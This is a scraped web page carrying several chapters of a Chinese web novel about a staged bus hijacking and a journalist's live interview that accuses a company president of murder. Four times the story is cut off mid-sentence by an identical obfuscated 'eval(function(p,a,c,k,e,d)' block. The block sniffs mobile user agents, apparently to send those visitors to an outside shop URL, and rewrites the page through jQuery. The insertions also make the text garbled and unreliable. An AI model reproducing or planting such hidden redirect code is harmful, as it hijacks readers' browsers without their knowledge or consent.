公车不管不顾一路向前狂奔,遮光帘拉得严丝合缝,劫犯没有任何声音,似乎是在享受这种紧张刺激的追捕。警方越发认定这是一场无中生有的表演,开始考虑彻底逼停公交车。道路已经清理干净,车上只有两个人质,其中一个是否是人质还有待考量。劫犯看起来也不是一点就炸的冲动型人格,只要动作够快,或许只要极小的代价,便可以迅速解决此次事件。有时候拖得越久,变数越大。当然,不是所有人都同意主动出击,极小的代价,也是代价,不如以静制动,等对方先提出要求。 现场最高指挥官权衡一番,正要做出决定时,公车晃晃悠悠竟然在布莱恩大厦门口停下了。不到十秒钟,公车前后左右被层层警车、警用皮卡包围。 司机望着一个个黑洞洞的枪/口,下意识举起双手,紧张到不停咽口水,结结巴巴道:“到……到了。”至于“我现在可以下车吗”却不敢问出口。 弗兰克猫在椅背后边,命令道:“把前玻璃的遮光板拉下来。” 司机解开安全带,抬起肥肥的屁股,笨手笨脚把遮光板拉好,彻底挡住警方的视线。 弗兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035255|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克露出一双眼睛:“还有你旁边的遮光帘。” “坏……坏了,还……还没来得及换。” “用衣服。” 司机哆嗦着肥胖的手指解开纽扣,脱掉驾驶员制服,在警察沉沉的目光中,把制服挂在驾驶室窗口。 “老实一点,你很快就可以下车了。” 司机身上的肉一抖,听话的把驾驶窗堵了个严实,甚至特意把衣服往缝隙里使劲塞了塞,生怕掉下来似的。 “你去检查一下。” 司机不由得万分庆幸,幸亏刚才顶住警察的压力没搞小动作。 因为是老式公车,前后门没有玻璃,现在整个公车完全隔绝在警方视线范围外,至少暂时不用担心狙击手的问题。郝运走过去象征性地检查了一下,表示没问题。 弗兰克这才从椅背后边钻出来,沉声问道:“前后门能从外边打开吗?” 司机巴不得好好表现,不敢隐瞒,很干脆地倒个干净:“这辆车我开了二十五年,老的不能再老。前后门只能通过车头的按钮开关,要么使用暴力。” “驾驶室有几把钥匙?” “两把,公司存有一把备用钥匙。不过驾驶室可以反锁,有钥匙也打不开。”说完,司机才反应过来后一句貌似不该说。可是,嘴巴根本不受脑袋控制,他能怎么办?勤勤恳恳开了四十年公交车,马上就要享受退休生活,他真的不想把老命交代在这里。希望劫犯看在他积极配合的份上,说到做到。 “你很好。” 司机心里一松,颤巍巍举起胳膊,擦了擦额头上汹涌而出的汗珠。 “现在,我需要你向警方传话。” 司机举起手,信誓旦旦保证:“我保证不会传错一个字。” “我要求太阳日报的琼·安德森为我做一场独家采访,全网直播。告诉警察,我只允许琼·安德森一个人上车,要是让我发现不相干的人,嘭……大家只好一起玩完。”弗兰克说着,以一种极其嚣张的姿态拉开双肩背包,好让司机从车内后视镜看到包里的东西。“这点小玩意,炸不了整栋楼,半栋布莱恩大厦还是绰绰有余。” 司机冷汗淋漓,白背心瞬间湿透了。 “五分钟,我的耐心只有五分钟,记住了吗?” “记……记住了。” “现在,你可以下车了。” 司机小心翼翼把车门打开一条缝隙,哆哆嗦嗦喊道:“别……别开/枪,我……是司机,我是来……来传话的。” 终于来了,严阵以待的警察们倏地把目光全部集中到驾驶室,气氛瞬间凝滞起来。 5. 第 5 章 司机连滚带爬,胖胖的身体刚滚落地面,驾驶室便砰地一声关上了。郝运顺手反锁车门。终于没有不相干的人,鬼鬼们再也忍耐不住,围着郝运叽叽喳喳一顿猛夸。 “小哥哥,你好棒棒哦!” “小哥哥,你怎么这么厉害,人家好崇拜你哦~~~” “年轻人,很不错嘛!” “嘿,小兄弟,你很对我胃口哦!” 如果一开始鬼鬼们觉得郝运只是一个特别的存在,有那么点聪明,那么点胆量,听完他告诉弗兰克在独家采访时该如何表现,该怎么讲故事,什么时候真情流露,什么时候歇斯底里,什么时候痛苦绝望,以及事后被警察审问时如何应对,甚至连细枝末节的地方都提前考虑到了。那头头是道、逻辑严密、自信从容的模样彻底征服了这群无聊到发毛的鬼鬼。 这人不是一般的特别,不是一般的聪明,不是一般的大胆呢。鬼鬼们一致认为,以后只要跟着郝运混,鬼日子绝对不会再孤单寂寞百无聊赖了。为了顺利赖上郝运,可不是逮着机会狂夸,免得不带他们玩。 只有金发妹子最矜持,全程安静地待在男朋友弗兰克旁边,目光里是恰到好处的崇拜和感激,看得郝运舒爽不已,忍不住感慨——果然还是妹子可爱一点。 但是面对五个如狼似虎,恨不得吞了他的外国鬼,郝运顿感亚历山大,隐隐有种预感,只要他稍微露出点好脸色,这些外国鬼就会蹬鼻子上脸,以后将永无宁日。 郝运故意皱着眉头,一副为难的姿态。鬼鬼们果然上当,一个劲儿的追问郝运为什么发愁。郝运叹息一声,才道:“遮光帘阻挡了警察的视线,也挡住了我们的视线,不知道现在外头是个什么情况。” “哎呀,小哥哥,这有什么可愁的,人家可会打探消息了呢~”中年花蝴蝶扭身跺脚,一脸羞涩地毛遂自荐。 郝运一拍额头,仿佛才想起来似的:“瞧我,真笨,只要五位哥哥姐姐出马,什么消息不是手到擒来,还怕外边那群警察?哥哥姐姐们,我和弗兰克的小命就拜托你们了!”资深倒霉蛋郝运深谙嘴甜之道,彩虹屁不说炉火纯青,大体上也应付的过去,谁让他先天条件不好,托生成老天爷的后儿子,只能靠自己后天努力。 被郝运这么小小一捧,鬼鬼们一个个就差拍胸脯保证了。自从做了鬼,再也没有体验过被人需要的滋味,这种可以帮别人做点什么的感觉真是太久违,太美妙了。鬼鬼们围在一起,低声讨论了一阵,迅速做好分工,明确好责任,便雄赳赳气昂昂穿过车厢,充当鬼形监视器去了。 耳根终于清净下来,郝运忍不住长舒一口气。金发妹子抿着嘴直笑。郝运被笑得不好意思起来,拉着弗兰克煞有介事地对细节。 窗外的大喇叭一遍又一遍做着安抚:“车里的人听着,我们已经在联系安德森女士,不要冲动,你有什么要求我们都会尽量满足。” 胖司机正被警察围着反复盘问,除了确认看到炸/弹,也只提供了一些并没有太多指向性的信息:比如两人在哪站上的车,黑衣劫犯个子很高,体型比较壮,白衣人质身形纤瘦,长相清秀,是个亚洲人,看起来非常年轻,应该没有成年。司机师傅刚刚死里逃生,不禁对最后一个留在车上的受害者深表同情,尤其这位受害者看起来只是个弱不禁风的学生。他没有勇气替代那个孩子做人质,唯一能做的也就是请求警方赶紧想办法救人。多勇敢的孩子呀,上车的时候,自己对他那么凶,还故意提前关车门,实在太不应该了。胖司机暗自后悔。 尽管司机师傅的描述显得语无伦次、逻辑混乱,却也给警察留下了黑衣劫犯凶狠嚣张、白衣人质弱小可怜的印象。甚至有一部分警察觉得,或许这只是个勇敢的孩子,他在发现异常后,毫不犹豫站出来,把生的机会留给别人,却将自己置于险地。大概只有孩子才有这种无所顾忌的勇气。 琼·安德森被挡在距离布莱恩大厦五百米的岔路口,任凭她怎么解释,负责拦截车辆行人的警察也不为所动,觉得不过是记者惯常使用的巧言令色。 “我的人在被劫持的公交车上,劫犯只给我十五分钟,现在只剩下两分三十五秒,你承担不了劫犯发怒造成的后果,给你们的最高指挥官打电话,让我跟他说。”琼·安德森翻出视频截屏,手机几乎要怼到警察脸上。 正说着,有个陌生号码打来,琼·安德森没好气地挂断。电话夺命连环似的又一次响起,她只好按下接听键,一道快速又不失清晰的女声:“安德森女士,现在布莱恩大厦有一起公车劫持事件,嫌犯指明请您——” “我就在五百米开外的岔路口,你们的人拦着不让我进。”琼·安德森冷着脸按下免提。 “马上放行。” 琼·安德森跳上采访车,直接撞开锥形路障与警戒带,一头扎进布莱恩大厦。车子还没停稳,琼·安德森便提着摄像机跳下来,现场最高指挥官迎上来快人快语作着交代。琼·安德森频频点头,有没有真正听进去只有她自己知道。旁边有女警拿着防弹衣往琼·安德森身上套,却被她挥手挡开,对着试图劝说的女警似笑非笑道:“在炸/弹面前,这东西穿与不穿有什么区别?”女警尴尬地停住动作。 琼·安德森掏出记者证挂在脖子上,对指挥官沉声道:“指挥官先生,一个小小的建议,希望你们不要做任何可能触怒劫犯的事情。” 多年一线记者经验,琼·安德森直觉待会直播的内容不会好看到哪里去,从选择成为记者的那一刻起,琼·安德森就把追求正义、还原真相、揭发罪恶、成为大众传声筒作为行事准则。这么多年来被人威胁、被人恐吓早就成为家常便饭,经历过多少次九死一生,又有多少次险象环生,琼·安德森早就不愿意细数。她为了坚守年轻时的誓言,为了成为一个纯粹的记者,在父母去世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035256|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,不谈朋友,不结婚,疏远亲友,多年来独来独往,只是不想有任何软肋。 只要她还活着,休想在她的眼皮子底下搞小动作。琼·安德森提着摄像机,在公车后门站定,深吸一口气,伸手扣响公车门。 弗兰克悄悄把后车厢第一排的遮光帘掀起一条缝,确认车门口只有琼·安德森一个人。迅速放下帘子,冲层层叠叠的警察喊道:“所有人,所有车辆后退一百米,马上。” 现场最高指挥官,双手叉腰,站在临时指挥车后边,对旁边的人低声吩咐了一句,全体人员及车辆缓缓后退五十米。 鬼鬼们及时播报车外情况,他们根本不用跑回公车,只需待在自己的位置上,扯着嗓子大吼一声即可。临时指挥车、狙击手、冲锋组三个重要位置均守着一只鬼鬼,剩余两只则大摇大摆穿梭在包围圈里探查情报,把警方的布置悉数传达给郝运。 弗兰克换个窗口,尖声道:“一百米,不要试图考验我的耐心。” “……”现场最高指挥官认定劫犯的匆匆一瞥看不出差别,没想到对方眼力这么好,好像头顶罩着一台巨大的监视器,劫犯掌握着他们的一举一动。最高指挥官举起右手,队伍又缓缓退了五十米。 收到鬼鬼们确认的回复,郝运和弗兰克对视一眼,按下后门的开门按钮。琼·安德森迅速窜上公车,后门砰地一声马上关上。琼·安德森上车后的第一件事先找郝运,确认郝运安然无恙,没有缺胳膊少腿,也没被揍的迹象,最终目光在郝运脖子上已经快干的血渍略作停留,冷声说道:“过来帮忙。”说着揭开摄像头的盖子,一边调试摄像机,一边询问弗兰克:“你想露脸,还是不露脸?” “……”果然是工作狂人么?郝运流下一滴冷汗,听话地凑到老板跟前。 弗兰克按照预先商量好的说辞回道:“不露脸。” 琼·安德森指指后车厢的台阶,示意弗兰克坐下。她自己则是一屁股坐到地上,把调试好的摄像机放到旁边,角度正好拍到两条腿和大黑包的一角。之后又对着手机一顿捣鼓,把捣鼓好的手机丢给郝运。“我用社交账号开了直播,双管齐下。” 郝运瞄了一眼粉丝数量,好家伙,一千七百万,原来他竟然傍上这样一位厉害的大佬。大概也只有这样的大佬,才有胆量收下他这样一个专业不对口的野鸡大学毕业生。要知道,投简历的时候,他本着广撒网多敛鱼的准则,根本就是无差别海投。郝运不由得庆幸面试时灵机一动来了波反向操作,不然怎么杀出重围,一举挤掉无数名校优秀毕业生。难道真是应了那句老话——否极泰来;又或者算命先生的话开始应验,他马上就要转运了?郝运喜滋滋在旁边席地坐下,两条胳膊搁在膝盖上,手里捧着手机,确保不会拍到弗兰克的脸。 琼·安德森又摸出一部手机,确认采访车回传过来的影像没有问题,简单干脆道:“开始吧。” 6. 第 6 章 太阳日报隶属于太阳集团,其兄弟公司SUN环球电视在纽约、华盛顿、芝加哥、洛杉矶、迈阿密等城市拥有9家直属电视台,在全美拥有200多家附属电视台。琼·安德森在来的路上已经做好安排,这场独家采访除了在太阳新闻网全程直播,还会在SUN纽约地区直属电视台、十多个附属电视台以及太阳集团旗下广播电台进行实时插播。 现在是六点三十五分,大部分人已经起床,要么在家享用早餐,要么已经开车出门,要么正在挤公交赶地铁,正是刷新闻的高峰期。公车被劫后,多家电视、广播、网络媒体已经相继发布了报道,只不过播报的信息以及相关影像照片非常模糊,还不如一些近距离目击者分享到社交平台的照片、视频来得清晰。这些报道、分享的点击量正不断攀升,有希望成为礼拜一早高峰的热门话题。 各大媒体记者要么匆匆从被窝里爬出来,要么临时改道,直奔44路公车出事路段,紧赶慢赶却只混了个外围,远远地拍些照片。警方的新闻发言人一出现,就被长长短短的话筒、摄像机包围。 “劫犯为什么劫持公车?” “劫犯身上真的带着炸/弹吗?” “公车为什么停在布莱恩大厦?劫犯的目的是否就是炸毁布莱恩大厦?” “据说车上还有一名孩子?” “劫犯有没有提出要求?” “人质是否还活着?警方准备如何解救人质?” “据说劫犯将大部分乘客放下车,除了司机,只留下一名人质,警方如何定义此次事件?” “……” 女发言人全程保持着恰到好处的微笑,不慌不忙道:“嫌疑人指名要求太阳日报的琼·安德森对他进行独家采访,警方出于保护人质的第一原则,已经安排安德森女士入场。各位现在只需打开太阳新闻,所有疑问便可揭晓。” 大部分记者第一时间掏出手机,少部分心里不忿者则不客气地问:“是嫌犯指定琼·安德森,还是警方指定琼·安德森?” 女公关脸上的笑容越发迷人,口里的话却异常犀利:“如果指定的是您,您有勇气不穿防弹衣只身上车吗?” “……” 在挤挤挨挨低头关注直播的记者群里,唯有一个身材高大的男人始终昂着头,目光的方向正是公车所在的位置。男人穿着一身不太合体的西装,带着黑框眼镜,挎着一个老过时的黑色单肩包,大概从小就高人一头,有些习惯性地拱肩缩背,即便这样也难掩自然散发的男性力量。只是脸上挂着一幅老实憨厚相,看起来谁都能欺负一下,让他的男性威慑力平白打了很大的折扣。他这样就好像远看是只威风凛凛的大老虎,近看才知道原来是只刚独立面对丛林的小兔子。男人挂在胸前的记者证上赫然写着——克拉克·肯特。 克拉克·肯特稍稍用了一点点超级速度,便成为第一个赶到现场的记者。他又略微调动了一点超级视力,便顺利将公车内的情形一览无余,只有劫犯和一个看起来未成年的人质。很好,大概只要十秒钟就可以结束战斗,其中有八秒是留给自己的换装时间。 可是车里的低声交谈却打断了克拉克·肯特的行动,很快,他便暂时按下救人的冲动。人家似乎并不需要从天而降的拯救者,他贸贸然闯过去只会破坏人家的计划。虽然他一向不在意别人的感激,但也绝不愿意有人在背后骂他。车里的白衣小男孩好像是个挺有趣的小家伙,竟然在指导劫犯,也不知道他在本次事件中究竟扮演哪种角色。不如等一等,看看事态发展再说。这一等就等到现在,公车内的独家采访开始了。 “一个月前,我有一份体面的工作,一个相恋四年即将结婚的女朋友,女朋友在有名的咨询公司任职。我憧憬着婚后生活的每一天,想象我们的孩子会多么漂亮,多么可爱。可是,在我准备求婚的前一天,却接到女朋友意外坠楼的噩耗。” 随着弗兰克的缓缓讲述,警方第一时间着手收集一个月前布莱恩咨询公司员工坠楼事件的资料。不到五分钟,珍妮·奥卡西和弗兰克·罗恩的生平资料,甚至小学时期绘画比赛冠军领奖的照片,都发到现场最高指挥官的平板电脑里。两人都是普通家庭出身品学兼优的好学生,大一某次联谊相识,迅速坠入爱河,毕业后各自进入所学专业的实力公司。如果没有那场意外,这是令人羡慕的一对。 网上也正对一个月前轰动一时的布莱恩咨询公司女员工坠楼事件热烈地讨论着—— “警方不是认定是意外吗?而且布莱恩咨询公司在警方调查结束后,第一时间召开新闻发布会,公布了非常到位的赔偿方案。” “没错。布莱恩咨询公司没有因为这件事受到任何负面舆情,反而收获一大波好评。” “难道实际并没有赔偿,或者赔偿金缩水了?” “不可能干这种自毁名声的蠢事。布莱恩咨询公司对员工出了名的大方,同岗位的薪酬总比同行高,刚毕业的学生起薪更是甩很多同行一大截。每到招聘季,各大名校出身的毕业生挤破头都想进去,竞争不要太激烈。” “薪资高,据说加班严重,压力非常大……” “咨询行业哪家公司不加班,布莱恩公司好歹待遇福利给到位了,总比某些只会画大饼的白嫖公司强。” “要么就是坠楼有猫腻……” “意外也分多种,比如人为制造的意外……” “据说那位坠楼的女员工是总裁助理。不知道你们有没有发现一个现象,那位布莱恩大总裁每隔半年到一年就会换一名女助理,无论是性感、妩媚、清纯,全都是金发碧眼的年轻漂亮小姐姐。” “大总裁的审美很恒定嘛!” “这么一说我也发现了,布莱恩大总裁最喜欢带女助理出席各种慈善晚宴、拍卖会,甚至毫不避讳让媒体记者拍同框照。不过看起来他倒是全程斯文有礼,一副好好老板的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035257|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架势,时不时还在记者面前称赞女助理能力好、有潜力,大有时机一到就委以重任的意思。” “人前斯文有礼,人后是何面目就不知道了,这个世上还有个词——衣冠禽兽。” “听说凡是做过布莱恩大总裁助理的小姐姐,下放后至少是一个二级部门的经理,要知道多少人混了一辈子都没能混上小主管。” “据可靠内部消息,名义上是招总裁助理,其实是总裁大人要亲自挑选、培养人才,刷完助理资历,不用两三年轻轻松松混到中层甚至更高位置,简直是升职直通车。每年不知道有多少应届毕业生虎视眈眈盯着这个岗位,投递的简历堪比雪片,能杀出重围的都不是一般人。” “其实我很想知道,总裁大人每天面对一群金发碧眼的女下属,会不会闪瞎眼?” “布莱恩咨询分部多的是,又不是都在总部工作。” “换种思路,难道不是古代国王公开选后宫的既视感吗?” “不知道为什么,有种细思极恐的诡异……” “楼上,你成功让我脊背一凉……” “布莱恩总裁可是出了名的爱妻护家好男人。” “我记得,总裁夫人可是个黑发拉美裔的大美人。不过,这些年貌似很少见她在公众场合露面了。” “总裁夫人有神经衰弱的毛病,最见不得闪光灯,作为宠妻狂魔的总裁大人,当然要小心翼翼护紧了。” “这年头立个人设不是轻而易举?” “人设易立,难的是十几年如一日。如果真的有猫腻,为什么这多年没有传出一点风声,也不见哪个做过助理的小姐姐有任何不满的表示。” “大总裁有钱有势,拿捏几个刚出社会的小姑娘,还不是轻轻轻松松。” “要不是被逼到一定份上,人家男朋友怎么会采取如此极端的手段?肯定是手里掌握了什么,否则怎么敢要求全网直播?” “或许是因为痛失女友,变得偏执起来,精神不正常了?” “一个精神不正常的人会放掉一车人质?人家明显只是有话要说,求告无门,没有办法,才出此下策。” “大总裁这次莫不是要翻车?” “……” 网上的评论越来越热闹,弗兰克早已泣不成声。他双手捂脸,热泪从指缝滚滚落下。“布莱恩公司的人说,珍妮加班累了,想开窗透透气。窗户年久难开,不小心用力过猛,就这样跌了下去。可是,我到布莱恩大厦收拾珍妮遗物的时候,发现所谓的意外坠楼的窗口,下面是固定的落地玻璃窗,上面有一扇一人宽可以向外推开的玻璃窗。如果是像我这样的身高,确实有可能不小心栽下去,但珍妮只有一米六,一个几乎齐胸的窗口,除非主动跳下去,或者有人推她,否则不可能意外坠楼。” 弗兰克双眼通红,声音嘶哑,宛若一头身受重伤的猛兽:“珍妮的死根本就是一场人为制造的谋杀!” 7. 第 7 章 现场最高指挥官命人调出警方调查时拍摄的现场照片,其中一张便是一个身材高大的男警察倾身朝窗外查看,窗口的位置刚好到男警察的腰际,看起来确实有坠落的危险。但是如弗兰克所说,这个窗口对于一个身材娇小的姑娘而言确实高了点。 而根据调查资料显示,现场没有任何挣扎的痕迹或异常的地方;法医的尸检结果也显示,除了坠落伤,没有其他多余的伤痕,毒物检测也没有查出可疑药物。至于监控录像,珍妮所在的办公室挨着总裁办公室,是个单独的小房间,作为一个相对私密的小空间,没有安装摄像头似乎也没什么值得怀疑。如果当时出警的是一位女警官,或许就不会漏掉窗口过高这个小细节。但是即便发现了这个问题,恐怕也很难找到有力证据驳斥意外坠楼的结论。 “如果珍妮的死不是一场意外,你认为谁的嫌疑最大?”琼·安德森直接问道。 “谁的嫌疑最大?”弗兰克冷笑一声,“除了那位鼎鼎大名,头衔光环一大堆的企业家、慈善家——阿诺德·布莱恩,还会有谁?”咬牙切齿的模样恨不得啖其肉喝其血。 琼·安德森并没有问有没有证据之类的蠢话,如果有切实的证据,大概也不会走到这一步。但是出于力求真相的原则,琼·安德森还是客观地问了一句:“你愿意为你刚才所说的话以及即将所说的话负责吗?” 弗兰克把头往右边歪了歪,虽然看不见摸不到,但他知道珍妮就在那里默默地陪着他,等他为她讨回公道。“我失去了一切,可是我的良心还在。” 他的目光穿过虚空,似乎沉入了过去的回忆。“我借口想在珍妮的办公室单独待一会,负责接待的职员出去后,我走到窗口,试着去推小窗,毫不费力。我开始怀疑珍妮的死没那么简单,但我什么也没说,把珍妮的东西收拾好就离开了。之后我开车去了珍妮母亲奥卡西太太那里,她是位单亲妈妈。奥卡西先生在珍妮三岁的时候去世。她们母女两人相依为命,珍妮很争气,每年都拿奖学金,奥卡西太太很以珍妮为荣。但奥卡西太太心脏不好,我不敢把怀疑告诉她,只是旁敲侧击地问了些问题。奥卡西太太说,珍妮好像有心事,曾经还说过想要辞职之类的话。她觉得可能是压力太大,就劝了几句,说能进入这样一家大公司不容易。奥卡西太太跟我说,如果她知道等待珍妮的是什么,绝对会第一时间催着珍妮辞职。” “作为最亲密的另一半,珍妮没有跟你提过辞职的事吗?” “我们两个曾经做过约定,不要对彼此有所隐瞒,无论发生什么,都要一起承担。她没有对我开口,要么是还没想好怎么说,要么就是其中的原因令她难以启齿。” “你更倾向于第二种。” “珍妮不是个能藏得住事的人,进入布莱恩咨询公司的前几个月,哪怕再晚下班,她都会兴致勃勃地跟我讲白天发生的事,言语间提的最多的也是阿诺德·布莱恩,说他如何平易近人,如何关心下属,如何亲自指导她的工作,甚至包容她的某些不成熟的想法。我知道,珍妮是把他当做父亲一般的存在。阿诺德·布莱恩人看起来还算年轻,但年龄差不多也够做珍妮的父亲,再加上他对外的风评一向很好,我也为珍妮遇到这样一个好老板感到开心。”弗兰克越说脸上的嘲弄之色越重,他不止在嘲弄阿诺德·布莱恩,更多的是嘲弄自己。 “可是,珍妮出事前的半个月,她不再提起阿诺德·布莱恩。作为男人,我当然不喜欢女朋友总是三句话不离另一个男人,自然不会主动去提他,即便知道那不过是一个记忆里从来没有享受过父爱的小女孩对于父亲的向往。再加上我当时正在为求婚悄悄做准备,过于兴奋的精神状态让我没能及时察觉到珍妮的异常。事后仔细想想,原来一切早有征兆。”嘲弄之色渐渐被深深的自责取代。 “出事前的几天,珍妮似乎总是处于一种焦虑的状态,每天早上总是要挨到最后一分钟才不情不愿出门,不像之前总是干劲满满地跟我告别。晚上如果加班,就会提前给我打电话,让我来布莱恩大厦接她。上车后,总是一副很累的样子,看起来不想多谈。而出事的那天,正好是周五,本来约好下班一起吃饭,我却临时接到通知需要加班,珍妮说她自己搭公车回家,在家煮好晚餐等我。没想到再见就是永别。如果我细心一点,如果我那天不加班,珍妮就不会出事。” 看着弗兰克满脸后悔,痛苦得不能自已,珍妮红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035258|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼眶,明知弗兰克听不见,还是安慰道:“弗兰克,这根本不怪你,如果我早一点告诉你,如果我坚定一点辞职,后边这一切就不会发生,是我的错,都是我的错……” 郝运突然觉得,白日撞鬼似乎不算是件倒霉事。至少他保住了小命,至少不会牵连无辜,至少两个被老天捉弄的有情人不至于全毁在一个人手里。当然,弗兰克也被毁的差不多了。 琼·安德森并不像有些记者那样咄咄逼人,问的问题恨不得越尖锐越好,她更像一个绝佳的倾听者。如果可以,她只想做一个忠实的记录者,但被采访者往往会陷在自己的情绪里无法自拔,这时候她就不得不出面提醒:“后来呢?” 弗兰克吸吸鼻子,艰难地继续讲述:“我找到负责调查案件的警官,说了所有的疑点,想要重启调查。他只是摇摇头,告诉我——这些疑点并不能说明什么,办案讲究证据,这个案子很简单,没有任何证据指向他杀的可能,剩下的不是意外就是自杀。我说的这些疑点,很可能就是刚出社会的小女孩承受不了大公司的压力,一时想不开跳楼自杀,即便查实布莱恩公司应付一定的责任,也争取不到更多的赔偿金。”说到这里,弗兰克的神色变得愤恨又无奈。 “我和珍妮相恋四年,没有人比我更了解她,她外表看起来柔弱,其实骨子里是个非常坚强的女孩,绝不会因为一时的压力自杀。当天临下班的时候我们还通过电话,她明确说过可以按时下班,还要回家给我做晚饭。是什么原因导致她不得不留下来,又是谁让她留下来?既然不能说服警方重启案件,我只能一边写信上诉,一边自己着手调查。” “调查的过程一定很艰难。” 弗兰克露出痛苦又无助的神色:“我明明查到真正的阿诺德·布莱恩是个怎样的家伙,知道不止珍妮一个受害者,却拿不到有力证据控告他。最后只能通过这种方式,希望大众能看清阿诺德·布莱恩的真面目,未来不会再有新的受害者。” “你的意思是阿诺德·布莱恩是个惯犯?” 弗兰克呼吸粗重,对着镜头一字一顿吼道:“阿诺德·布莱恩根本就是个披着人皮的恶魔。”话音刚落,网上的评论区直接炸了。 8. 第 8 章 “我尝试联系珍妮关系比较好的几个同事,想要了解珍妮当天临时决定留在公司的始末。大家好像提前被交代过一样,全都表示不知道。我知道,珍妮作为总裁助理,直接汇报对象就是阿诺德·布莱恩,除了阿诺德·布莱恩,没有人可以命令她。我多方打听,了解到当天同楼层的秘书室早早下班,而阿诺德·布莱恩在珍妮坠楼后匆匆离开。按照惯例,总裁没有下班,秘书室至少留守一人值班,随时等候吩咐。然而那天却一反常态,整个顶楼只剩下阿诺德·布莱恩和珍妮,是谁做的安排不言而喻。我去找阿诺德·布莱恩当面对质,他却说整个礼拜五的下午都在附近的希尔顿酒店进行商务会谈,不承认进过公司,也不承认临下班给珍妮安排工作任务。” 弗兰克说着掏出手机,翻出一段视频,将手机正对镜头。“这是我花大价钱弄到的停车场监控视频。视频里很清楚的拍到阿诺德·布莱恩的正脸,视频显示的时间正是珍妮坠楼后五分钟。他这么藏着掖着不敢承认,越发坚定了我的猜测——阿诺德·布莱恩一定是最后一个见到珍妮的人。” “阿诺德·布莱恩看过这段视频吗?” 弗兰克摇摇头,才道:“我明白这段视频不能证明什么,何况取得视频的手段也不合法,我找阿诺德·布莱恩对质,只是想试试他的反应,好验证自己的推测。第二天,我便有幸见识到金钱的力量,公司辞退了我。我想,这是阿诺德·布莱恩对我的警告。他以为他能吓退我,却不知道我早就无心工作。接下来我专心开展调查,大概是被我的诚心打动,有人告诉我,想了解珍妮生前可能经历过什么,可以去找已经离职的前任总裁助理。我追问下去,那人却不肯多说,后来实在被我缠得没有办法,给了我一个地址。” “那人的提醒给你提供了新的方向。” “没错,一个正确的方向。只可惜那个地址早就换人了。我没有放弃,多方辗转最终找到那位前任总裁助理。一开始,我并没有打听出什么。她只是对我表示很同情,对于阿诺德·布莱恩也只是作一些冠冕堂皇的评价。我理解她,对于她而言,作为阿诺德·布莱恩的总裁助理已经是好几年前的事,现在她有爱她的老公,可爱的孩子,他们一家人生活的很幸福。即便真的知道些什么,也不愿意冒险多谈。我急切需要帮助,但不想以牺牲别人的幸福为代价,因为我就是从幸福的顶端跌进痛苦的深渊。我没有再纠缠,只是留了联系方式,其实心里根本没抱希望。” “看起来调查陷入了僵局。” 弗兰克脸上重又浮现出他那特有的嘲弄:“不,阿诺德·布莱恩的前任总裁助理可远远不止一个。既然阿诺德·布莱恩不像表面上那样道貌岸然,那么只要担任过总裁助理的人,多多少都知道他究竟是个怎样的人。我只是随便查一查,便发现阿诺德·布莱恩几乎每半年到一年都会更换助理,还都是刚毕业的年轻女孩子,更可怕的是她们全是金发碧眼的一类。” 琼·安德森眯着眼睛略微想了想:“据我所知阿诺德·布莱恩担任布莱恩咨询公司总裁已经超过十年。” “整整十五年。” 郝运只觉一阵寒意袭上心头。别看他之前那么笃定不止一个受害者,可不过是为了安抚弗兰克的大胆猜测,谁成想一语中的。十五年,到底有多少无辜的女孩葬送在阿诺德·布莱恩的手中? “更早一些的我没有查到,不过我查到近十年前任总裁助理的情况。去年和前年入职的两位现在布莱恩咨询公司分部担任重要职位。再往前的全部离职,其中一位全家移民国外,无法取得联系;剩下的也全都不约而同搬离纽约州。这些前任总裁助理,有多年独身行踪不定,有精神失常长年住疗养院,还有一位去年自杀了,在过正常生活的寥寥无几。” 